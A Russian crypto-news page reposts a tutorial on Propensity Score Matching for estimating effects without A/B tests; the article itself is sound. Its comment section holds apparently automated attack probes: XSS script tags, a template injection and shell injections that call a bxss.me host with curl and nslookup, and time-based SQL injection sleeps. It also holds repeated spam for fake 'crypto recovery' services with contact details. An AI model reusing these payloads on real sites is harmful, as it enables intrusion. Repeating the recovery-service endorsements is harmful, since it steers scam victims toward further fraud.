Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Propensity Score Matching (PSM): как обойтись без A/B-теста и всё равно узнать правду

На практике часто возникает необходимость объективно оценить, как то или иное событие влияет на ключевые метрики бизнеса. Это большая и широкая задача, которая часто решается с помощью проведения A/B-тестов. Но что делать, если провести честный рандомизированный эксперимент невозможно?

В таких ситуациях полезен метод Propensity Score Matching (PSM), который компенсирует отсутствие случайного распределения за счёт подбора сопоставимых групп для сравнения, снижает влияние скрытых факторов и обеспечивает более точную оценку причинно-следственного эффекта.

В статье я расскажу, что такое PSM, зачем и в каких случаях он необходим, опишу его теоретические основы, дам алгоритм его применения на практике и расскажу, как оценить качество и надежность полученных с его помощью результатов.

Что такое PSM?

Propensity Score Matching (PSM) — это статистический метод, который позволяет корректно сравнивать группы, уменьшая или полностью устраняя систематические различия между ними.

Предположим, у нас есть две группы пользователей: тестовая (treatment group), которая подвергается определённому воздействию (например, доступ к новой функции или участие в маркетинговой акции), и контрольная (control group), которая такого воздействия не получает. При этом между группами изначально есть систематическое смещение отбора (selection bias), выраженное в различиях ключевых характеристик пользователей (например, возраст, доход, активность). Наша задача — корректно оценить эффект воздействия, минимизировав влияние этих различий.

6348aa58a41365e692b0bc277ae1b808.png

Основной принцип работы PSM заключается в том, чтобы для каждого пользователя из группы воздействия (treatment group) подобрать максимально похожего пользователя из контрольной группы (control group). Подбор осуществляется на основе ключевых характеристик этих пользователей, благодаря чему формируются пары, максимально схожие друг с другом. Это позволяет минимизировать исходные различия между группами и сделать корректный вывод о том, насколько именно воздействие повлияло на итоговый результат.

Пример:

В сервисе существует платная премиум-подписка. И вы хотите оценить как она влияет на вовлечённость пользователей и их удовлетворённость продуктом.

→ Так как подписка уже существует, а решение о ее оформлении принимает пользователь, проведение A/B-теста тут затруднительно.

→ Также логично предположить, что премиум оформляют уже вовлечённые и активные пользователи, которые изначально отличаются от остальных по многим параметрам. В таком случае прямое сравнение групп подписчиков и неподписчиков будет нерепрезентативно.

→ С помощью PSM можно выделить ключевые характеристики пользователей и на их основе рассчитать вероятность оформления подписки (propensity score). Затем по рассчитанным значениям каждому подписчику (treatment-группа) подобрать максимально похожего неподписчика (контроль). И уже после этого оценивать эффект от наличия премиум подписки у пользователя.

Зачем нужен PSM?

PSM полезен всегда, когда возникает систематическая погрешность отбора (selection bias), то есть когда результаты анализа искажаются из-за того, что группы для сравнения отличаются по характеристикам, существенно влияющим на изучаемый эффект.

Примеры таких ситуаций:

1️⃣ Невозможность или трудность проведения A/B-теста
Когда провести полноценный случайный эксперимент невозможно по техническим причинам, бизнес-ограничениям, этическим причинам или просто когда результаты нужны быстро и нет времени на организацию и проведение эксперимента.

2️⃣ Неслучайное формирование существующих групп
Когда группы сформировались естественным образом, и между ними уже имеются существенные различия, что затрудняет прямое сравнение.

3️⃣ Необходимость ретроспективной оценки эффекта
Когда нужно проанализировать исторические данные и понять, был ли эффект от уже реализованных изменений, хотя эксперимента не проводилось.

4️⃣ Повышение точности уже проведённых A/B-тестов
Когда даже в случайных тестах группы по каким-то причинам различаются по характеристикам, и необходимо снизить дисперсию оценок эффекта за счёт выравнивания групп по ключевым признакам.

Теория PSM

Тут будет немного формул, но я постараюсь сильно не усложнять и дать интерпретации ко всему что происходит.

Постановка задачи

Предположим, что у нас есть выборка:D = {(X_i, T_i})_{i=1}^{l}, где X_i​∈X — вектор признаков объекта i, T_i — бинарная метка воздействия (treatment):

  • T_i = 1, объект iпопал в treatment group (получил воздействие),

  • T_i = 0, объектi попал в control group (не получил воздействие).

Также предположим, что для каждого объекта существует два гипотетических результата Y_i(outcome) - значение метрики, которую мы хотим в эксперименте измерить:

  • Y_i(1) — результат, если бы объектiполучил воздействие,

  • Y_i(0) — результат, если бы объектiне получил воздействие.

Наша задача — оценить средний эффект воздействия на тех, кто получил treatment (Average Treatment Effect on the Treated, ATT):

ATT=E[Y(1)−Y(0)∣T=1] = E[Y(1)|T=1]-E[Y(0)|T=1]

Проще говоря, нам нужно оценить, как наше воздействие повлияло на тех, кто его получил.

Идея метода

Если факт попадания в treatment группу случаен и не зависит от признакового описания объекта, то есть:P(T=1∣X)=P(T=1), то ATT можно оценить через разницу средних:

ATT= E[Y(1)|T=1]-E[Y(0)|T=0]

Проце говоря, если распределение на тест и контроль действительно случайно, то мы имеем дело с обычным рандомизированным экспериментом, и достаточно просто сравнить средние значения нашей метрики outcome в treatment и control группах - PSM не нужен.

Проблемы начинаются если назначение treatment не является случайным, а зависит от характеристик объекта X, то есть P(T=1∣X) ≠ P(T=1). В таком случае прямое сравнение outcome между группами будет нерепрезентативным, так как разница в Y может быть обусловлена не только эффектом от воздействия, но и исходными различиями между группами.

Как же тогда оценить АTT? Формула состоит из двух составляющих:

ATT = E[Y(1)|T=1]-E[Y(0)|T=1]

Мы можем непосредственно оценить среднее значение результата для тех, кто получил treatment E[Y(1) | T=1], так как для этих объектов наблюдается фактическое значение метрики после воздействия — то есть у нас есть реальные данные о том, как воздействие повлияло на их поведение или результат.

Однако величина E[Y(0) | T=1] (то есть результат для объектов, который был бы если тритмент группа не получила воздействия) остается неизвестной и требует оценки. Именно эту недостающую величину мы будем приближать с помощью Propensity Score Matching (PSM).

Как я уже говорил, идея метода состоит в том чтобы для для каждого объекта из контрольной группы подобрать максимально похожий объект из теста. Это делается для оценкиE[Y(0) | T=1].

Для этого в PSM необходимо:

1️⃣ Рассчитать propensity score — вероятность попадания объекта в treatment-группу на основе его признаков.

2️⃣ Подобрать похожие объекты (matching) — найти для каждого объекта из treatment-группы наиболее похожий объект из контрольной группы по propensity score.

Почему это работает? Теорема Розенбаума и Рубина и предпосылки метода.

PSM работает благодаря двум фундаментальным условиям, доказанным в рамках теоремы Розенбаума и Рубина (Rosenbaum–Rubin, 1983):

  1. Conditional Independence Assumption (CIA) – условие условной независимости. При заданном наборе признаков (X), само воздействие (T) не зависит от результата (Y₀, Y₁), то есть нет скрытых факторов, влияющих одновременно на вероятность попасть в тест и на итоговый результат.

  2. Common Support (Overlap) Assumption – условие пересечения. Для каждого объекта вероятность попасть в группу воздействия или контроля должна быть строго между 0 и 1, то есть всегда существует возможность подобрать похожую пару из контрольной группы для объекта из теста.

Эти два условия (теорема Розенбаума-Рубина) гарантируют, что, сравнивая объекты с одинаковым Propensity Score, можно корректно измерить влияние воздействия на результат и минимизировать смещение оценки (bias).

Propensity score

Propensity Score (PS) — это вероятность попадания объекта i в treatment-группу на основе его признаков:

p(X_i)=P(T_i=1|X_i)

По сути, расчет PS это классическая задача бинарной классификации с определением вероятности класса на выборке D = {(X_i, T_i})_{i=1}^{l}с таргетом T = (1, 0).

Для её решения используются различные методы, в том числе:

  • Логистичесая регрессия;

  • Градиентный бустинг (XGBoost, LightGBM, CatBoost);

  • Random Forest.

Для PSM ключевое требование к модели PS — хорошая калибровка вероятностей и учёт всех релевантных признаков.

По сути, алгоритм пытается "угадать", кому назначили treatment, основываясь на их характеристиках. Если модель хорошо предсказывает, значит, в данных есть паттерн, по которому разделение на тест и контроль даётся не случайно. Если же вы уверены, что вы включили все необходимые признаки, но ответы модели близки к случайным, это может говорить о том, что в данном случае распределение между группами было случайным и вы можете просто сравнивать метрики по тесту и контролю.

Matching

После оценки propensity score, необходимо собрать из контрольной группы "псевдо-контрольную" группу, идентичную тритмент группе по распределению propensity score, чтобы с ее помощью оценить E[Y(0) | T=1].

Задача Matching — подобрать для каждого объекта i из тритемнт группы (T_i = 1) такой (или такие) объекты j из контрольной группы (T_j = 0), которые максимально похожи по значению propensity score.

Существуют различные подходы, некоторые из них:

  • Nearest Neighbor Matching (NNM, k-ближайших соседей)
    Для каждого объекта из тритмент группы ищем ближайшего (или несколько ближайших) соседа(ей) из контрольной группы по метрике|p(Xi)−p(Xj)|.

  • Caliper Matching
    Модификация NNM, при которой разрешены только те пары, у которых разница в propensity score не превышает заданный порог ε: |p(Xi)−p(Xj)|≤ε.

  • Stratification Matching
    Ключевая идея: не искать "пары", разбить выборку на бины по уровням (квантилям) propensity score, и сравнивать эффекты внутри этих групп.

Важно отметить, что при использовании NNM или Caliper Matching, не требуется чтобы в псевдо-контрольнной группе не было повторяющихся объектов. Условно говоря, может быть ситуация в которой один объект из контрольной группы сразу будет ближайшим соседом к нескольким объектам в тритмент группе.

В итоге, matching позволяет заменить ненаблюдаемые исходы для объектов из тритмент группы (Y_i(0)|T_i=1) на исходы наиболее похожих объектов из контрольной группы (Y(0)|T=0, matched), что позволяет оценить АTT:

ATT = E[Y(1)|T=1] - E[Y(0)|T=0, matched]

Алгоритм исследования с помощью PSM

Определим treatment_date как дату, после которой объекты начинают подвергаться воздействию (Treatment, T).

Алгоритм состоит из следующих шагов:

f13b5128479273cf26426b575cfeef2e.png

1️⃣ Собрать исходный датасет с тестовой и контрольной группами. Размер тестовой группы – n, а контрольной группы – N >> n (например, 5n), чтобы обеспечить качественный подбор пар при метчинге. Проставить индикатор получения воздействия (T=1 — тест, T=0 — контроль).

2️⃣ Собрать релевантные признаки X для всех объектов датасета на данных за период до treatment_date.

3️⃣ Применить PSM: построить модель для расчёта Propensity Score и выполнить процедуру matching объектов. Получить из контрольной группы "псевдо-контрольную" группу.

4️⃣ Оценить качество метчинга - убедиться, что PSM работает (об этом немного позже).

5️⃣ Рассчитать целевые метрики (outcome) после treatment_date отдельно для тестовой и полученной псевдо-контрольной группы.

6️⃣ Замерить ATT.

Как доказать, что PSM работает?

Вы провели исследование с использованием метода Propensity Score Matching. Как убедиться, что полученным результатам можно доверять? Для этого нужно доказать, что само распределение объектов на тестовую и псевдо-контрольную группы было выполнено корректно.

Следует обращать внимание на следующие моменты:

1️⃣ Отсутствие различий до воздействия (Pre-treatment validation)
Убедиться, что целевая метрика (outcome) в тестовой и псевдо-контрольной группах до даты воздействия (treatment_date) статистически не различается.

2️⃣ Качество модели Propensity Score
Модель Propensity Score должна корректно различать тестовую и контрольную группы: ROC_AUC (0.6+), и нет проблем с калибровкой. Модель не обязательно должна быть «лучшей» по точности классификации, но её прогнозы должны корректно отражать вероятность получения воздействия.

Статья про оценку качества прогноза вероятностей: Метрики оценки качества вероятностей в бинарной классификации: опыт из ФинТеха.

3️⃣ Баланс Propensity Score после метчинга
Распределения Propensity Score в тестовой и "псевдо-контрольной" группах должны быть статистически неразличимыми после выполнения метчинга.

4️⃣ Баланс признаков после метчинга (Covariate balance)
После выполнения метчинга распределения ключевых признаков в тестовой и псевдо-контрольной группах должны быть максимально схожими.

5️⃣ Соотношение размеров групп (Matching proportion)
Количество объектов в псевдо-контрольной группе после метчинга должно быть близко к размеру тестовой группы, без значительного дисбаланса в численности.

6️⃣ Проверка устойчивости результатов (Robustness Check)
Оценить, как изменится средний эффект воздействия (ATT) при изменениях в спецификации модели Propensity Score, методах метчинга или наборе используемых признаков. Эффект должен оставаться стабильным.

Общие рекомендации

Некоторые советы, которые могут быть полезны при проведении исследований:

  • Контрольная группа должна быть больше теста
    Не забывайте, что в контрольную группу нужно набирать больше данных чем в тест (минимум тест должен быть в 5 раз больше контроля), это необходимо чтобы алгоритму метчинга было из чего выбирать пары для формирования "псевдо-контрольной" группы.

  • Проводите сразу несколько вариантов исследования:
    Попробуйте использовать разные контрольные группы, наборы признаков, методы метчинга, принцип формирование контрольной группы, дату тритмента и тд.

  • Не гонитесь за высоким ROC-AUC:
    Ваша цель не идеально различить тест и контроль, а корректно оценить вероятность попадания в тестовую группу (Propensity Score). Важно проверять калибровку модели.

  • Внимательно собирайте признаки:
    Признаки должны быть рассчитаны исключительно по данным, собранным до начала воздействия, чтобы избежать утечки информации и смещения результатов.

  • Помогайте модели на этапе формирования тестовой группы:
    При возможности заранее выбирайте тестовую группу, более близкую по характеристикам к потенциальному контролю — это облегчит дальнейший метчинг и улучшит точность оценки.

  • Интерпретируйте полученные результаты:
    Старайтесь объяснять причины, почему именно тестовая группа показала лучшие (или худшие) результаты. Интерпретация повысит ценность и убедительность ваших выводов.

Надеюсь, эта статья была полезной и интересной для вас! Понимаю, что тема довольно объемная и ее можно раскрыть глубже. Если остались вопросы или хочется обсудить что-то подробнее — приходите в комментарии, буду рад помочь!

Другие статьи автора:

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

